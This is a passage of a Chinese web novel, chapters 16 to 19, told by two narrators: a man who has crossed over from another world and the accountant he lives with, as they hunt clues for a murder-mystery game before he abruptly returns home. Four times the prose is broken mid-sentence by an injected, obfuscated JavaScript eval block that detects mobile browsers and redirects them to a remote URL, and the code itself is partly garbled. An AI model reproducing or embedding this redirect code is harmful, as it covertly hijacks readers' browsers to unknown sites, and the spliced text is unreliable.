店员不信掏不出我兜里的钱,仍在挣扎:“不会吧,这还贵?你去旁边的店里吃比我这还贵呢。” 他太不了解我现在的经济条件了。只要是超过十五块钱的消费,基本已经统统被我踢出考虑范围了。 他还让我浪费了一个小时,那也算是浪费我的生命和金钱,我要是还在自己的世界上班,这一个小时的工资可不少。我和他说:“我看旁边店里有今天早上刚捞的红斑鱼,掐了不超过两个小时的连州菜心,乳鸽下的第一批鸽子蛋汤,你这里有吗?” 店员朝我翻眼皮,摆摆手:“那你吃去吧。” 于是我出了门,去隔壁的烧饼店花五块钱挑了个新鲜热乎的,带回车上去吃。我连水都没买,车上有我从画画家带出来的凉白开,这种日子我竟然如此顺利地就适应下来了,放在没有穿越过来之前,我想都没有想过。 16. 柏青-6.25 柏青6月25日周三天阴 趁吃午饭的时间,我翻看起刚刚拍的照片,翻着翻着又想起李营说过让我联系他的事情。正好我得到了一个独立的通信工具。 我把李营的纸条翻出来拨过去,电话那头响了许久无人接听,我再打一遍,他甚至直接给我掐断了。 他不接电话我也不打算多打,继续翻看记录。画画给了我一个小笔记本和笔,用来梳理线索,连同平板一起交到我手上,她真不怕我把她的平板拿去二手回收了。 我把之前搜到的线索依次记录下来: 农家乐的黑猫拼图、美术馆里画画代笔的画、许愿墙上的书签、办公桌抽屉里的照片、纸杯和钥匙。零零散散,已经得见整个出版社相关人员的大概面貌。 我记得差不多了的时候,那个手机很吓人地开始报一串数字,赶忙翻出来接电话。 是画画。 听见她的声音从这个机械的那头传过来,我竟出奇地为之一动。我来这边已经五天了,除了这辆车能正常使用,几乎没有想过还能拥有一个可以使用的联络设备。画画说她今天晚上会早一点下班,我一边应着一边头一次感受到我已经和这个世界有了深入的连接。 直到画画挂断电话我也没有立即将耳边的手机拿开。从我高中毕业之后,这种中二病很久没有犯过了,“羁绊”这个词想起来就有一种热血的滑稽。 但我没有太多时间纠结在这个“羁绊”里,白屏在家快饿穿了,除非周围了的人发现我不见了,找到我家去。应该能发现的吧,已经五天了。 我即刻启程往下一个地点开。这是我和画画这一组的倒数第二个地点——从这里往市中方向开个三四公里就到,是一家商场。 整个商场抛开地下二层的停车场,总计六层。从它的占地面积来看,里面的商户至少两百家,这是一个巨大的工程量,希望有咨询台或者有商铺的店员能指引我直接去有线索的空间,否则我今天下午是没有希望再把最后一个场地跑完了,明天都不一定。 我需要尽量快一些,赶在六点前结束,然后去接画画。 场地大,人流量大,我问了好几个店面的店员都说不知道这个事情,一时头也大了起来。站在一楼入口大厅的人流中央,抬头从上看到下,不明白我是不是在浪费时间。 我只能从五楼往下依次排查,负一楼的人流最多最耗时,如果能在楼上提前找到就不用去负一楼给店员们添麻烦了。我一边朝升降式电梯那处走,一边心想,把线索藏在这处的出品方估计也没打算让玩家找到这条线索,就想着让玩家在这里玩花了眼,从腰包里多掏出些钱来。如果六点时没有找到,那我也不在这里死钻牛角尖。 五楼是电影院和电玩城,夹带着两三家餐厅。我在看电影取票和买零食的人群周围晃了两圈,就像一个不怀好意的不法分子,引得正在取票的两个人频频朝我抛来防备的眼神。 我只能转过去看墙上的一排电影海报。 这些正在上映的电影和我的世界不大相同,没有一个是我听说过的。画画的平板我带上来了,便顺手搜索了一下。那些经典的影视作品,倒是和我原本的世界是重合的,现在正在我那边时兴的电影,在画画的这个世界里也没有。 如果这里是小说或者是平行世界,倒也说得通,经典总会被创作出来、被人铭记。那我可要看看这个世界的最流行的游戏和最贵的塑料小人分别是什么了,我搜索了一通,放下平板,果然不管在哪边,网友们都是评着评着气氛就焦灼了起来。 工作日的原因,隔壁电玩城里的人不是很多。我从每个游戏机面前走过去,没有发现什么可疑线索,松了一口气。我生怕有个线索出现在夹娃娃机里,那我可能没钱给它夹出来。 营业员眼神一路跟着我,见我光看不玩,在我快退出店门的时候没忍住开口和我说话:“你找这个吗?” 他手里举着一张卡片,我没有看清正面的字,但我先看到了卡片背面那只黑猫,眼睛瞬间亮了起来。 我找的就是这个。 我接过那张卡片,将正面的文字看了个仔细。是一组购物清单,只标明了店面和摆放位置,仍需要我一家一家地跑,但这也省了我不少事情。 有了具体的坐标,找起来相当快,为了确保每个商品的位置没有发生过变动,我还去和店员一一确认过最近有没有更换过商品摆放。 最终的摸清卡片上要购买的物品,分别是: 一盏台灯。很容易就联想到了第一张拼图里的吊灯,虽然没什么相似之处,但是同为灯这一个属性就足够让人警铃大作。 一捆松紧带。 一瓶褪黑素。 一组一次性鞋套和手套。 一支口红。我依据记忆和手机里的照片进行比对过,应该是和纸杯上的两个口红印都是不同色号的。 这组清单是谁购买的并不清楚,找到他应该就离凶手很近了。购买褪黑素和台灯的行为几乎把这个人直接顶到头号嫌疑上去了。 我得先去接画画了,正好路上问问她关于这个清单知道多少。 比计划里晚到了画画公司十分钟,但画画仍然没有出来。我打电话问她还有多久,她语气里全是炮火:“别催了,你先回去吧,等会我自己回去。” 背景音里有个声音:“我等会就要,你快点。” 在她挂断的前一秒,我连忙补充了一句:“我在停车场等你。” 她愣了一下,身后催促的声音又响起来,便没工夫和我多说什么,一句“随便你吧”就挂断了。 大概等了二十多分钟,也不算太久,画画就出来了,应该是和人大吵了一架,脸红脖子粗地上了车,开关车门的力道比之前大了一倍。 我问她怎么了。她叽里呱啦说了一大通我并不十分懂的税务问题,大概就是有人拿走不了账的发票找她报销,两人扯皮了很久。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16458197|185387||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “我早晚把这狗屁工作辞了,”她气鼓鼓地说道,“不辞我就要去蹲大牢。” 我实在不知道该怎么调解画画情绪,沉默了半晌只能问她:“你晚饭想吃什么?” 画画的自我调节能力倒是很快就上线了,她一转怒气熏熏的神情,眉眼同嘴角微微弯起,颧骨也堆得高高的:“走,我们去超市买排骨,今天发工资了。” 到了最近的超市,画画买菜的随心所欲体现出来了,她刚刚在车上明明说的是要买排骨,但购物车里堆放的食材能吃上三天,但没有排骨。 我举起车里的一颗卷心菜:“这是准备明晚吃吗?” 她想了想,说:“随便哪天吃吧,先放冰箱也行。” 卷心菜存放时间能久一些还好说,这一瓣的冬瓜总不能也在冰箱里放个三五天吧。我说:“那你今晚还要吃冬瓜吗?” “不吃,我就想吃排骨。”她回答得十分干脆。 我便趁她不注意把冬瓜放回去,直到她结账也没注意到冬瓜不见了。画画上班和不上班真是两种性格,上班的时候跟人吵二十几分钟的架也能捍卫原则,不上班的时候购物车里的冬瓜没了也不记得。 甚至东西都买完了,回程的路上她才想起来问这个问题:“你会做糖醋排骨吗?” 她已经买了排骨了,我就是不会做我也给她搜攻略做出一盘来。 “那就靠你啦,小手。” 她又兴致冲冲地翻看我今天找到的线索,我顺便问了她这些东西里有没有她认得出归属的。 画画指着那组抽屉里的照片,把那两张被骚扰的女生的名字点出来,一个是赖不平,另一个是一位已经离职的实习生,她们之间没有太多的接触,要说有什么特别印象深刻的,就是这个实习生也姓皮。 说完画画又想起之前我拜托她的事情,和我说已经要到了程可那一组的已知线索,剩下那组的还要等程可去沟通。 三组人,各五个地点,总计十五处线索,那么我现在拿到手的已经有六处了,程可那组一个周末跑了两个地方,算正常进度。 回到家,画画放下东西就立马躺下了。我已经在厨房洗完排骨,她假模假样地凑过来问我要不要帮忙。 我可牢记着我的使命。我现在是画画的全职保姆,哪有让雇主自己动手的道理。 于是画画兴高采烈地躺会去玩手机。玩了一阵大概是困意上来了,又回厨房烧水泡咖啡。 我说:“已经晚上了,不能摄入咖啡因。” 画画:“不喝我现在就要睡着了。你昨天晚上搞到太晚了。” 我的问题? 她把手伸到咖啡冻干的瓶子里舀了一大勺,还没有抬出来就被我抖了个干净。她朝我“啧”了一声,继续去舀,又被我抖掉。她气急败坏地把手上的勺子往瓶子里一撂:“不喝了不喝了,行了吧?” “行了。” “小手,你管得有点宽了。” 17. 梁上燕-6.25 梁上燕6月25日周三天阴 最后我也没有喝上一杯午夜浓情黑咖啡。 我躺着等小手的排骨,没有等多久就睡着了。就睡了这么一会儿的功夫,还做了个梦。大部分的梦中情节都不记得了,只记得醒来之前一直有条鞭子抽在我身上,也不疼,就是条条甩下去,嵌进我的皮肉里。 我大汗淋漓地醒过来,原来是没有开空调,我还一直捂在被子里。 小手已经在盛饭了,桌上热气腾腾地冒着烟气。我觉得头有点重,撑着额头朝餐桌走了一步。 小手在厨房听见我的动静,手上的动作没有停,脸转过来问我:“你吃多少米饭?” 我说:“我有点恶心……”“就吃一口”四个字还没有说出口,膝盖一软就跪下去了。 小手得吓了一跳吧,吃个饭我给他行这么大的礼。我的脑子其实还算清醒,甚至能分清我是哪条腿先着的地,但这四肢确实是不大听我使唤了。 我还能察觉到小手扔了碗和勺子,奔过来扶我,他拿手心摸我滚烫的脸颊,拿手背去探我的额头,把我搀到凳子上,喊我张嘴喝水。 可惜我的眼皮也不听话,不肯睁得开一点,让我瞧瞧小手被吓破胆是个什么表情。 客厅里是没有空调的,我的身体轻飘飘地不着地,但胳膊和腿弯下有两道栏杆,让我挂在上面荡,一直荡回我的卧室里。耳边响起“嘀”的一声开空调的声音,冷空气很快沉下来。 我的神智和食欲也逐渐一并回归大脑。 见我的眼神都清澈了起来,小手也有没大松一口气的样子,看来我方才萎成那样他也不见得有多慌张。 我说:“我要吃饭了。吃一碗。” 小手继续回厨房端饭碗,顺道问我:“你自己在家的时候也会把自己热到中暑吗?” “怎么可能,我也没有抠到那种地步,电费还是交得起的。” 小手做的排骨还不错,比外卖香,我连嗦了三根。中途他问我明天要不要请假在家休息一天,我一边摇头一边嗦骨头。 倒也没有那么金贵。 别看我表情狰狞又扭曲,这是啃骨头啃的,绝不是想到上班这件事我就咬牙切齿。 小手的问题真的很多,他又征询着问我今晚是不是不适宜运动了。问得我面上一红,脑子里自然而然地就会产生相应的联想。 倒也没有那么饥渴。 我想我确实不能太劳累了,这两天的白日里都忙得前脚粘后脚,脑子也一刻不得闲,做账的时候总感觉账面上全是坑在等着我往里头跳。冯总那个老奸巨猾的东西,时不时就想出个主意为难我,挖空心思钻一些能合理避税的路子。 上个月的时候,他找过我,跟我说想把每个月一次的工资分成两次发。我知道他什么意思,上头的人月收入太高了。我跟他说即便如此,年终合算的时候该补的还是一样要补。他就说:“那到时候再补嘛。” 我很怕他到时候不想补了,又叫我想办法填坑。从第一步上,我就不能同意他的决策。 明天我还要去跟他拉扯一些公款问题,有一笔账我迟迟没有记上,就是因为我至今没有办法确认那笔款项去了哪里,回回问起来,那个姓冯的就让我先报管理费用,又没有发票或者什么凭证拿给我。 业务部有个员工想要离职,也不主动提出来,天天上班就像来公司逛街,顺便干点保底的活儿,你要说他能力没达标,也没有那么严重,他就是摆明了在混,等着我们主动提出辞退,冯总叫我去找他谈一谈,我也还没去。想想就很头大。 小手去洗碗的时候,我没管住我这双腿跟着进了厨房。我自己呆在房间里就会忍不住想那些糟心的事情,心情就会变得比去上坟还悲痛,不如找小手说说话,分散一下注意力。 我也不想帮他洗碗,就站在旁边看,像个魂一样在他旁边飘。 飘得小手很不耐烦,他说:“你别在这里挡路。” “你又没在走路。” “你不嫌热吗?要挤在厨房里?” “还行吧,我刚刚可能也不是中暑,也有可能是低血糖了。我今天中午没吃午饭呢。” “为什么不吃饭?” “又忙又气,吃不了。”我现在又闲又手欠,见小手系着我那条可爱的奶油色围裙,有种不和谐的好笑,伸手一拉就把他身后的结解开了,剩下挂在脖子上的带子,拖着整张布在晃。 小手:“你干什么?吃饱了撑着了?” “急什么,我再给你系上。”我又把那散开来的两根绳子死死地扣上一个结。我特地向两端拉了拉,确认那个结非常紧实。 “你别在这里影响我,”小手说道,“你去把程可的两条线索理出来,我等会看。” 他还给我布置上任务了,我要把他脖子上的那个结也打死。 我改完他脖子上的结,就去翻手机里的聊天记录。小手的笔记本就放在桌上,我在他的笔记后面继续往后记。 我们的笔迹完全不相同。小手的字看起来应该是有刻意练过,一板一眼的,像从字帖上面剥下来的。我的字,习惯和笔锋处理大多是上学的时候和还写板书的老师们学的,哪个老师的板书好看就和谁学。十几年里学了各种流派,现在也算个老道的江湖体了。 我尽量参照小手前面的记录形式写,但又没忍住添油加醋了一些细节。 六月二十一日,周六,程可他们去了游乐场。在摩天轮的一间红色缆车里找到一封信。这封信件内容如下: 我不干了。没有署名。 另外还有一张邀请函,邀请皮老板参加一个商业交流活动的。 六月二十二日,周日,程可去了一家书店。她买了一本杂志,赠品是一个非常可爱的钱包。不对,这句划掉,这是程可跟我在乱扯淡。书店的店员给了一把钥匙和一本书。 书作者是姚发。问过“姚发”了,他说这本是杜小撰代笔的,不过是顾主编拿来送给他的。 程可拿的角色是皮老板,她正好和“姚发”一组,并且她知道这本书,所以当场也盘问过姚发,姚发本来想把这本书和那幅画一 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16458198|185387||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 起给皮老板,皮老板只拿了我画的那幅画。 以上就是程可两天的收获。剧本杀她玩得开不开心不知道,这两天游乐场和书店逛得她是挺开心的,我还看见她发了朋友圈。 我周一的时候在公司的厕所刷到了,忘了点赞,事后就彻底忘了。 写完之后小手也正好从厨房擦着手出来了。我便把笔记往他的方向推,示意任务已经完成。 他也不急着看,又把我的杯子拿进厨房倒了大半杯水端出来。也是,他有大把的时间的看,根本不急在这一时。等会儿围裙解不下来有他急的。 我问小手道:“你在你那边也是自己一个人住吗?” 小手迟疑了一下:“不是。” 我心想不会吧,不会我才是那个乱搞男女关系,插足别人感情的人吧。 他慢吞吞补充道:“我还养了一只猫。” 一切说话大喘气的人都该被处以极刑。 “那你失踪这么久了,岂不是也没人知道。”我继续问他。 小手看我的眼神里明显带着蔑视:“我又不是石头人,也是爹妈生的。” 我便低下头去盘手机,他的声音从我头顶飘过来:“你是不是在搜哪里有人口失踪的报案?” 哈哈,你看这事闹的。显得我是个笨蛋,被小手一眼就看穿。 但我确实没有搜到有什么关于“柏青”这个人的失踪案件,我心里那个“他来自另一个世界”的秤砣又重了一千克。 “那你穿越过来之前是不是遇到什么生命危险了?车祸?触电?溺水?”我把我在小说和漫画里学到的知识都展现了出来。 “没有,我在开车。”小手的语气十分平淡。 我的身子向后仰去,一只手磨了磨下巴,真相往往只有一个,他穿过来之前出车祸了。 小手坐下来粗略地看了一遍我给他记的笔记,合上本子,用弯曲着手指的右手像敲门一样敲在我的水杯上。 我一动不动。 他又敲了两下。 敲敲敲,奏乐呢。为什么不直接开口叫我喝,耍帅。 他说:“你不是要早点睡觉的吗?可以去休息了。” 我靠到椅背上,腿也伸直了,整个人懒散地挂在凳子上。不上班的时间太宝贵了,就这么直接睡觉总感觉很浪费。我知道这种报复性熬夜不可取,但是我大好的青春时光里,不能除了上班就是睡觉。这不公平。 我的脚踢到了小手的脚,不仅没有收回去,还抬起脚腕,把两只脚都压在他的脚背上。我还没有等到小手解围裙,不可以躺下,不可以睡。 小手在我的脚跟压上去的时候,先是被硌得跳了一下右眼,继而适应了这个重量后,看我的眼神也不大对劲了。 我回看他这个眼神,心里也毛毛的,此番举动确实大有不妥,我们的关系可能也没有到可以撒娇的地步。 到了吗?又好像也不是不行。 但我还是决定把我的脚先收回来。我这样做了之后,小手鼓着一口气的胸口也坍塌了下去。 18. 梁上燕-6.2526 梁上燕6月25/26日周三/四阴/雨 他的眼神虽然没有看着我,但我感觉他侧脸上也长着眼睛。就是那种他知道我在看着他,他刻意回避我的两只眼睛,但又时刻留意我的动态的感觉。 我直接一脚踢在他的小腿上,迫使他直接正视我。 小手的脸上写满了不解,我又不去洗漱休息,又没什么要紧事坐在这里,还无理取闹。 但这比上班有意思,即使这没有创造任何价值,仅仅是在浪费时间。我之前说错了,我的大好时光里不是不能除了上班就是睡觉,是不能只有令人疲累的拉扯和行将就木似的大脑。我渴望的是简单但深入的社交、轻松但活跃的思考,甚至是无意义的当下和有意义的未来。 那我就要在矛盾里找一个自圆其说。 要深入社交,就不会只有简单的交流,要思维活跃,就不会一直浮于表面,要有意义的未来,当下就不可能拿这些没有意义的事情来堆砌。 不光我是矛盾的,这个社会给我的反馈也是矛盾的。当时代跟我说这个世界已经不是努力就会有收获的时候,我还在固守成规地践行这个准则,生怕只要我停下来不努力了,就被这个准则抓到我的把柄,这个时代就把我抛弃,于是我就继续努力,这条准则就一遍又一遍地打我的脸。 于是我又变得好高骛远、变得想要不劳而获。 我并没有不劳而获过,天上不会掉馅饼这个社会准则倒是从一而终。 哦,小手是天上掉下来的。但我花了钱的,也不能把他归纳到馅饼里。 我半歪着头问小手:“你的世界里,年轻人就业行情怎么样?”小手还在思考,我又继续补充问题,“你的就业单位薪资福利水平高吗?算不算大厂?” 问完我也觉得我问得过于直白,小手也许不会愿意回答,或者他会编一个模棱两可的回答。 他的回答不算敷衍,但我觉得可能是他所处的环境跟我差别太大。他对我第一个问题的回答就好像在参照毕业院校美化过的报表,他说:“虽然也有找不到工作的,但整体就业率大概能达到百分之八九十吧。” “我们公司的薪资水平嘛,”他十分严谨地想了又想,“我也不太清楚业内的平均水平,对比起来我那里应该算高的了吧,一毕业教授就直接介绍我在那里工作了,主要是工作氛围好,能安安静静地继续搞我的研究,我也就没打听别的公司什么待遇。” 真的假的还有能让人潜心搞研究的岗位吗?可能是我不懂搞研究的行业,也有可能是小手不懂职场气氛。但不管是没有人情世故的岗位,还是超强的钝感力,都挺令人羡慕的。 “那你混得还不错啊。”我像个二流子一般抖起了腿。 小手脱口而出:“虎落平阳……” 我看他的狗嘴里吐不吐得出象牙。 他的下半句硬生生憋回去了,从眉前捏着眼镜框架把眼镜摘了,右手开始做起了眼保健操。 我问他近视多少度,他说两百度。那我坐在他一米开外,岂不是又看不清我的脸了? 我把凳子沿着桌角向前挪动了一点距离,小手终于开始解围裙了,他一边拉扯身后的绳结,一边问我:“你还不去睡觉吗?” “睡睡睡。”我并不是在敷衍,我马上就去找换洗的衣物洗漱躺下了,只等小手解完死结。 他拉了一下绳子没有解开,大概想起刚刚在厨房的时候,我在他背后鬼鬼祟祟了一阵。索性先把套在脖子上的那圈从头顶卸下来,然后拎着宽松的围裙转了一圈,把绳结转到了身前,定神解我的恶作剧。 我仍然靠在椅背上,看着小手的动作,余光又扫到了桌上的那瓶康乃馨。颜色尚还鲜艳,只是花朵有些弯折下垂。我猜测要不了多久,它就会变得暗沉、枯萎、凋落。 布料的死结本来就不是很难解,再加上他还有眼睛看着,完全知道该往哪个方向使劲,我在他解完一个的时候,就感觉到了乐趣结束,站起身往卧室走。 失落感侵袭而来,我开始为我打死结这一个无聊的举动感到后悔。 等我洗完澡出来,小手已经捧着笔记本回了他那边的房间。围裙也挂在了冰箱旁边的挂钩上,上下四根带子赤条条地乖乖顺于两侧。 我躺在床上,闭着眼睛酝酿了一会儿睡意,但脑子里异常精神,想东想西就是不想睡觉。只能把手机又掏出来,刷一些碎片的信息,让一浪接着一浪的新鲜事盖过我的胡思乱想。 刷得正带劲,家庭群聊里弹出一条信息:燕燕这周末回家吗? 我回了一句:下周再说吧,月底比较忙。随后“咔哒”一声把手机息屏了,再次闭上了双眼。 小手和我已经在早饭问题上快速达成了默契。尽管我不一定吃,但他仍然会多煮一个蛋给我带走,前两天我带走了晚上又原封不动地带回来了。今天他没有给我留一个鸡蛋,我也没有什么介意的,我已经在门口换鞋了,他走过来把一根包好了的玉米递给我。然后他也开始拿车钥匙、换鞋。 我大概是真的接受小手是从另外一个世界来的了,切实地开始忧虑小手这个没有驾驶证的黑户哪天在路上开着车,被交警拦下来了该怎么办。 站在车门外犹豫了几秒,我把玉米往包里一塞,准备跟小手互换位置,但我一想,他只剩最后一个地方要跑了,之后也用不着开车了,又麻溜地把热乎乎的玉米掏出来,剥开袋子啃着上了车。 小手歪头等我系好安全带,但我玉米啃了五六口才想起来这个步骤,还是看到他欲言又止的嘴角、欲伸又止的手才想起来的。 抵达公司楼下的时候,那一根玉米竟早就被我啃了个干干净净。 我把玉米棒芯还包好,小手顺手就接过去了。我又去抽纸巾擦嘴擦手,就是磨蹭着不想下车。 小手开口问道:“安全带解不开吗?” 我愣了一下,他这会儿倒是不带犹豫,伸手过来“咔咔”就给我解开了。我像被送上刑场的死囚犯,壮烈地打开了车门,悲痛地踏出了上班的第一步。 木讷地打卡、和遇到的每一个同事打招呼、开机、先检查 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16458199|185387||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 邮箱…… 冯总最近来得破天荒的早,他从我桌前路过的时候,停下来了。我心里大叫着不妙,就听到他开口说道:“小梁,你去帮我买杯咖啡吧。” “茶水间不是……” “天气这么热,当然是要喝冰的啦。” 我还想问他为什么不在茶水间配备一个制冰机,为什么来的路上不去买一杯,但以他这个诡辩高手的手段,问了我还要浪费更多的时间。便拿了钱包,又下楼去了。 小秦正好刚打完卡进来,她这也是国际惯例的晚来十几分钟,不过我们的打卡制度不是十分严苛,她这也不算晚来,只要下班打卡满足和上班打卡的时间间隔九个小时就不是什么大问题。 小秦:“刚来就出去吗?” 我错愕地看了她一眼,由于脚步太快,也只是匆匆一眼,人已经走出两米开外了,更没有空和她搭话。 她最近太关心同事了,我下电梯前还瞄到她已经放下了包去和另一个同事说话。 之前为什么没有觉得她对同事这么热络?我脑子里回忆了一下,往常小秦是什么样的,她好像也和我一样,进了公司的大门就开始闷头干。近来可能也是发觉到了,这种傻驴似的工作模式痛苦又折磨,转而换了这样更为积极的工作态度。 我天生就是傻驴,也是倔驴。我才不转换工作态度。 冰咖啡的凉气十分诱惑人,我忍不住给自己也买了一杯。放下我那一杯,端着冯总那杯去敲他办公室的门,里面传开两个人说话的声音。 过了大概十秒左右,才传来冯总的那一声“进”。 我推开门,小秦正好说完了最后一句话,转身和我交错着离开了,走的时候看我一眼,又视线偏下去留神看到我手里的咖啡。 我正要过去把咖啡放下。冯总的办公桌上,一杯还冒着热气的咖啡就这么猝不及防地撞进我的眼眶。 我没有办法形容那一刻我的心情是什么样的。我只是狠狠吸了满了一整个肺的空气,又徐缓地吐出去,把那杯冰咖啡就放在热咖啡旁边,静立于一旁看这位大人还有什么别的吩咐。 冯总全然没有想要发表一下对这杯热咖啡的看法,他好像有正事要说,又好像没有,拿起桌上一个文件夹打开,从笔筒里挑了一支笔,在底部签完字才和我说:“你赶紧把二季度的内部审计报告出了报给我。” “好。”我应声,“还有别的事吗,没有我先去干活儿了。” 他的脸朝文件夹上移到朝我这边,拿笔的手扬了扬:“去吧。” 我便从他办公室退了出来,回到了工位上。 外面开始下雨了,一两滴雨点子打在窗户上,继而铺天盖地的雨水拍在玻璃上,把窗外的风景拍得一片模糊。闷热的室内即使是开了空调,也有一种湿气蒸腾的不痛快。 我喝了一口冰咖啡,心里爽快了一些。搜了一下天气预报,这雨还要下很久,我出门没有带伞。 幸好早上没有阻止小手开车,想到会有小手来接,我刚提起来一厘米的心又放下去了。 19. 柏青-612.26 柏青6/12月26日雨 我车还没有开到目的地就下雨了。偏偏这个地点还是室外。 车上倒是有一把伞,但雨势太大,我决定在车里坐一会儿再下去找线索。借着这个空挡,我又给李营拨了一通电话,依旧是无人接听。他给我一个号码,却联系不上,不知道是出事了还是怎样。 我又把车上的电台打开,试试看这台车能不能连上这个世界的无线电。并不能够,只有“刺啦刺啦”的声响灌进耳朵,像打开了上个世纪的大屁股电视,雪花飘了出来。 雨下了很久依旧没有停下来的打算。车里的空气沉闷得叫人呼吸不畅。 我将车窗摇下来一点点缝隙,一些雨点子迫不及待地窜进来,打在我的侧脸和手臂上,很怪异的难受,但很凉快。索性直接仰到靠背上闭目养神。 耳朵里还听着那连不上信号的广播声,夹杂着拍在玻璃窗上的雨声,更显诡异。 我在这样诡异的声音里竟然睡着了。 不知道什么时候睡着的,也不知道睡了多久,意识模糊之间听到了车里的广播中传来完整的句子:“……,案件仍在调查中。” 意识到这是连接上无线电的同时,我一下子就清醒了。 这是什么超自然的现象吗?我将广播的声音调大一些,里面已经开始播放当前的城市路况。 “目前全市正普降大雨,路面湿滑,能见度低。北环高速、成山区路段已出现明显行车缓慢。通庆大道,由西向东方向,中段,发生一起两车刮蹭事故,占用最右侧一条车道……” 我的脑子里跟着它的播报已经在自动规划一条路线。 我想着我回去的时候,应该从哪条路走才不会被堵住。但我又一想,不对,我该去接画画。 更不对的是,我根据这路况播报里的道路名称规划的路线,是回我自己家的路线。 我迅速转过头去看向车窗外,雨水依旧很大,车窗上一道又一道的水痕,让我看不真切外面的场景。我又向前看,但我没有开雨刷器,也只能看到车外模糊一片的灰色。 这种时候根本顾不上雨水会不会直接灌进车里,我直接将车窗摇下来一大半。 窗外的建筑与我来时的形状完全两模两样,我脑子有半栋高楼顷刻间倒塌下去。我去摸自己的手机,想起我的手机还扔在画画家。我又去拿画画给我的那个手机,还在。 我给画画打电话,根本没有等到空号或者无法接听的提示,直接就拨不出去,自己断掉了。 画画的平板也丢失掉了信号。 我平复了一下心情,抬起头看向车里那个牛顿摆,明白我回来了。 巨大的无措感从脚底一直漫到头顶。我根本没有搞清这两次穿越的契机是什么,如果画画的手机和平板不在我这里,我还能跟自己说这是做了一场梦。 我的脑子还在激烈地运转,我的身体已经率先感受到了寒冷。 对了我穿越之前还是十二月份,如果两个世界的流动速度是想同的,那我现在应该是十二月二十六日。我向车载终端上看过去,左上角醒目的当日时间: 上午10:18:30,20XX-12-26。 来不及想画画了,我得先处理我这边的事情。 我立马启动车,得先去手机营业厅再买个手机办张卡了,幸好身份证没有扔在画画家里。 大冬天的穿一身短袖进店,不仅营业员多看我两眼,连我自己也想蒙面。 拿到手机第一时间我就给家里打了个电话,不出所料地挨了一顿骂,但也还好,我和父母每周本来通话次数就不是很多,他们也只是当作是我再一次地因为太忙而无视了他们的关心,骂我也只是责备我以后要即时接听电话。 “你怎么换了个手机号码?” 我正好拿这个借口解释我为什么没有接到他们的两通电话:“那个手机号码注册了太多乱七八糟的软件账号,老是收到奇怪的短信,干脆换了一个。” 电话那头没有过多的质疑,只是叮嘱我天冷多穿些衣服,多买点水果吃一吃之类的话。我无故旷工这么久,找我的人居然没有找到我家里去。 我猜是教授帮我编了一些可靠的借口。 我不记得教授的手机号码了,只能先把社交软件下下来换绑这个手机号码登上去。 果然一长串的信息,爆炸式地挤满了对话窗口。 我把公司找我的那些粗略地扫了一遍,头两天找我的人居多,后面果然被教授的“外派出差”挡得一干二净。 给教授打语音电话,响了不到一声就被他接起来了。教授比我爸妈会骂人,我消失的这五天里他一定一天攒了三句怎么训我的话。 “谁给你惯的这死出脾气?周末让你出来跟投资人碰个面聊一聊项目前景,是会掉你一块肉还是会折你三年寿?我折的寿添你头上,你这辈子能活一百五十岁。你这什么天王老子请不起的毛病不改,我让你爸妈给你改名叫王八羔子。还想不想干,想干明天给我出来。” 很有活人气息,一下子就把我从画画的世界拽回来了。我之前有过一次耗时三个月的项目失败,到头来一场空的经历,那时年轻气盛,又爱钻牛角尖,想不通这样出色的样本摆在面前,投资方有什么理由不参与,闭门羹吃到饱后足不出户了五天调整心态。 所以这次的项目如果拿不到投资也有可能会流产的压力不光压在我头上,也压在教授头上,教授可能以为我脆弱的心态提前绷不住垮掉了。 “明天吗?在哪里?” “先来我家。” 和教授这边讲好明天到他家的时间后,我驱车赶回家。门还没有打开,就听到白屏在里面叫,叫得人心头一酸。 喂食器里还有余粮,它应该没有挨饿,我赶紧去开罐头给它加餐。起初它还不冷不热地在我脚边绕,听到熟悉的易拉罐声,迅速和我热络起来,把它的脑壳抵在我的小腿上左一下右一下地蹭。 家里被它玩得有点脏乱了,我趁着打扫的时间,把这五天的经历重新回顾了一遍,这段冒险像 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16458200|185387||http|test|mini|href|location''.split(''|''),0,{})); () { 